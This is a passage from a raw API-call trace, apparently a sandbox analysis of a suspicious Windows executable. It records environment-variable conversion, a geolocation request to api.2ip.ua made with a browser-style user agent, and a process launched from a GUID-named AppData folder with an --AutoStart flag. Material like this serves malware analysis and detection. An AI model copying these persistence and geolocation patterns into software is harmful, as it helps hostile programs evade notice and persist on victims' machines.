returned 15 [0058.543] GetLastError () returned 0x0 [0058.543] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x74) returned 0x242ee8 [0058.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0058.543] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x16) returned 0x237e10 [0058.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x237e10, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0058.543] GetLastError () returned 0x0 [0058.543] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x78) returned 0x242ee8 [0058.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0058.543] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x2a) returned 0x23d638 [0058.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x23d638, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0058.543] GetLastError () returned 0x0 [0058.543] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x7c) returned 0x242ee8 [0058.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0058.543] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x29) returned 0x23d670 [0058.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x23d670, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0058.543] GetLastError () returned 0x0 [0058.543] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x80) returned 0x242ee8 [0058.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0058.543] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x15) returned 0x237e30 [0058.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x237e30, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0058.544] GetLastError () returned 0x0 [0058.544] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x84) returned 0x242ee8 [0058.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0058.544] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1e) returned 0x2413d0 [0058.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x2413d0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0058.544] GetLastError () returned 0x0 [0058.544] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x88) returned 0x242ee8 [0058.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0058.544] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x2a) returned 0x23d6a8 [0058.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x23d6a8, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0058.544] GetLastError () returned 0x0 [0058.544] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x8c) returned 0x242ee8 [0058.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0058.544] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x12) returned 0x237e50 [0058.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x237e50, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0058.544] GetLastError () returned 0x0 [0058.544] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x90) returned 0x242ee8 [0058.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0058.544] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x18) returned 0x237e70 [0058.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x237e70, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0058.544] GetLastError () returned 0x0 [0058.544] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x94) returned 0x242ee8 [0058.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0058.544] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x46) returned 0x239268 [0058.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x239268, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0058.544] GetLastError () returned 0x0 [0058.544] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x98) returned 0x242ee8 [0058.550] GetLastError () returned 0x0 [0058.606] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x242ab8) returned 0x80 [0058.606] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x242ab8) returned 0x80 [0058.606] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x242ab8) returned 0x80 [0058.612] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8ec) returned 0x243fb0 [0058.663] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x242ab8) returned 0x80 [0058.663] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x240ad8 [0058.663] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x242ab8) returned 0x80 [0058.663] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x242ab8) returned 0x80 [0058.663] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x242ab8) returned 0x80 [0058.746] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x242ab8) returned 0x80 [0058.752] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0058.803] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40) returned 0x235c08 [0058.803] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) Thread: id = 87 os_tid = 0x7e0 Thread: id = 88 os_tid = 0x600 Thread: id = 89 os_tid = 0x7ac Thread: id = 90 os_tid = 0x48c Thread: id = 91 os_tid = 0x568 Thread: id = 92 os_tid = 0x70c Process: id = "9" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xad16000" os_pid = "0x338" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000bc99" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 106 os_tid = 0xa3c Thread: id = 107 os_tid = 0x330 Thread: id = 108 os_tid = 0x638 Thread: id = 109 os_tid = 0x554 Thread: id = 110 os_tid = 0x748 Thread: id = 111 os_tid = 0x72c Thread: id = 112 os_tid = 0x720 Thread: id = 113 os_tid = 0x668 Thread: id = 114 os_tid = 0x65c Thread: id = 115 os_tid = 0x144 Thread: id = 116 os_tid = 0x110 Thread: id = 117 os_tid = 0x3f0 Thread: id = 118 os_tid = 0x3ec Thread: id = 119 os_tid = 0x3e4 Thread: id = 120 os_tid = 0x3e0 Thread: id = 121 os_tid = 0x3d0 Thread: id = 122 os_tid = 0x3cc Thread: id = 123 os_tid = 0x398 Thread: id = 124 os_tid = 0x394 Thread: id = 125 os_tid = 0x384 Thread: id = 126 os_tid = 0x380 Thread: id = 127 os_tid = 0x368 Thread: id = 128 os_tid = 0x364 Thread: id = 129 os_tid = 0x350 Thread: id = 130 os_tid = 0x33c Thread: id = 136 os_tid = 0x7f4 Process: id = "10" image_name = "host1506_2020-06-15_14-07.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe" page_root = "0x79a8b000" os_pid = "0x56c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x378" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe\" --AutoStart" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e418" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 138 os_tid = 0x570 [0098.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0x47075f80, dwHighDateTime=0x1d643ed)) [0098.539] GetCurrentThreadId () returned 0x570 [0098.539] GetCurrentProcessId () returned 0x56c [0098.539] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=5879469037) returned 1 [0098.539] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x77c1fd35, hStdError=0x77c87daf)) [0098.539] GetProcessHeap () returned 0x810000 [0098.540] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76fe0000 [0098.541] GetProcAddress (hModule=0x76fe0000, lpProcName="FlsAlloc") returned 0x76ff4f2b [0098.541] GetProcAddress (hModule=0x76fe0000, lpProcName="FlsFree") returned 0x76ff359f [0098.541] GetProcAddress (hModule=0x76fe0000, lpProcName="FlsGetValue") returned 0x76ff1252 [0098.541] GetProcAddress (hModule=0x76fe0000, lpProcName="FlsSetValue") returned 0x76ff4208 [0098.541] GetProcAddress (hModule=0x76fe0000, lpProcName=0x4a3ffc) returned 0x76ff4d28 [0098.541] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateEventExW") returned 0x7707410b [0098.541] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateSemaphoreExW") returned 0x77074195 [0098.541] GetProcAddress (hModule=0x76fe0000, lpProcName="SetThreadStackGuarantee") returned 0x76ffd31f [0098.541] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateThreadpoolTimer") returned 0x7700ee7e [0098.541] GetProcAddress (hModule=0x76fe0000, lpProcName="SetThreadpoolTimer") returned 0x77c4441c [0098.541] GetProcAddress (hModule=0x76fe0000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77c6c50e [0098.541] GetProcAddress (hModule=0x76fe0000, lpProcName="CloseThreadpoolTimer") returned 0x77c6c381 [0098.541] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateThreadpoolWait") returned 0x7700f088 [0098.541] GetProcAddress (hModule=0x76fe0000, lpProcName="SetThreadpoolWait") returned 0x77c505d7 [0098.541] GetProcAddress (hModule=0x76fe0000, lpProcName="CloseThreadpoolWait") returned 0x77c6ca24 [0098.542] GetProcAddress (hModule=0x76fe0000, lpProcName="FlushProcessWriteBuffers") returned 0x77c20b8c [0098.542] GetProcAddress (hModule=0x76fe0000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77cdfde8 [0098.542] GetProcAddress (hModule=0x76fe0000, lpProcName="GetCurrentProcessorNumber") returned 0x77c71e1d [0098.542] GetProcAddress (hModule=0x76fe0000, lpProcName="GetLogicalProcessorInformation") returned 0x77074761 [0098.542] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateSymbolicLinkW") returned 0x7706cd11 [0098.542] GetProcAddress (hModule=0x76fe0000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0098.542] GetProcAddress (hModule=0x76fe0000, lpProcName="EnumSystemLocalesEx") returned 0x7707424f [0098.542] GetProcAddress (hModule=0x76fe0000, lpProcName="CompareStringEx") returned 0x770746b1 [0098.542] GetProcAddress (hModule=0x76fe0000, lpProcName="GetDateFormatEx") returned 0x77086676 [0098.542] GetProcAddress (hModule=0x76fe0000, lpProcName="GetLocaleInfoEx") returned 0x77074751 [0098.542] GetProcAddress (hModule=0x76fe0000, lpProcName="GetTimeFormatEx") returned 0x770865f1 [0098.542] GetProcAddress (hModule=0x76fe0000, lpProcName="GetUserDefaultLocaleName") returned 0x770747c1 [0098.542] GetProcAddress (hModule=0x76fe0000, lpProcName="IsValidLocaleName") returned 0x770747e1 [0098.542] GetProcAddress (hModule=0x76fe0000, lpProcName="LCMapStringEx") returned 0x770747f1 [0098.542] GetProcAddress (hModule=0x76fe0000, lpProcName="GetCurrentPackageId") returned 0x0 [0098.542] GetProcAddress (hModule=0x76fe0000, lpProcName="GetTickCount64") returned 0x7700eee0 [0098.542] GetProcAddress (hModule=0x76fe0000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0098.542] GetProcAddress (hModule=0x76fe0000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0098.544] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x3bc) returned 0x81f018 [0098.547] GetCurrentThreadId () returned 0x570 [0098.547] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x18) returned 0x81f3e0 [0098.547] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x800) returned 0x81f400 [0098.547] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x408241, hStdOutput=0x18a08f21, hStdError=0x0)) [0098.547] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0098.547] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0098.547] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0098.547] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe\" --AutoStart" [0098.547] GetEnvironmentStringsW () returned 0x81fc08* [0098.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1409 [0098.548] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x581) returned 0x820718 [0098.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x820718, cbMultiByte=1409, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1409 [0098.548] FreeEnvironmentStringsW (penv=0x81fc08) returned 1 [0098.548] GetLastError () returned 0x7f [0098.548] SetLastError (dwErrCode=0x7f) [0098.548] GetLastError () returned 0x7f [0098.548] SetLastError (dwErrCode=0x7f) [0098.548] GetLastError () returned 0x7f [0098.548] SetLastError (dwErrCode=0x7f) [0098.548] GetACP () returned 0x4e4 [0098.548] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x220) returned 0x820ca8 [0098.548] GetLastError () returned 0x7f [0098.548] SetLastError (dwErrCode=0x7f) [0098.548] IsValidCodePage (CodePage=0x4e4) returned 1 [0098.548] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fedc | out: lpCPInfo=0x18fedc) returned 1 [0098.548] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9a4 | out: lpCPInfo=0x18f9a4) returned 1 [0098.548] GetLastError () returned 0x7f [0098.548] SetLastError (dwErrCode=0x7f) [0098.548] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0098.548] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0098.548] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9b8 | out: lpCharType=0x18f9b8) returned 1 [0100.567] GetLastError () returned 0x7f [0100.568] SetLastError (dwErrCode=0x7f) [0100.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0100.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0100.858] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0100.865] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0100.865] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ 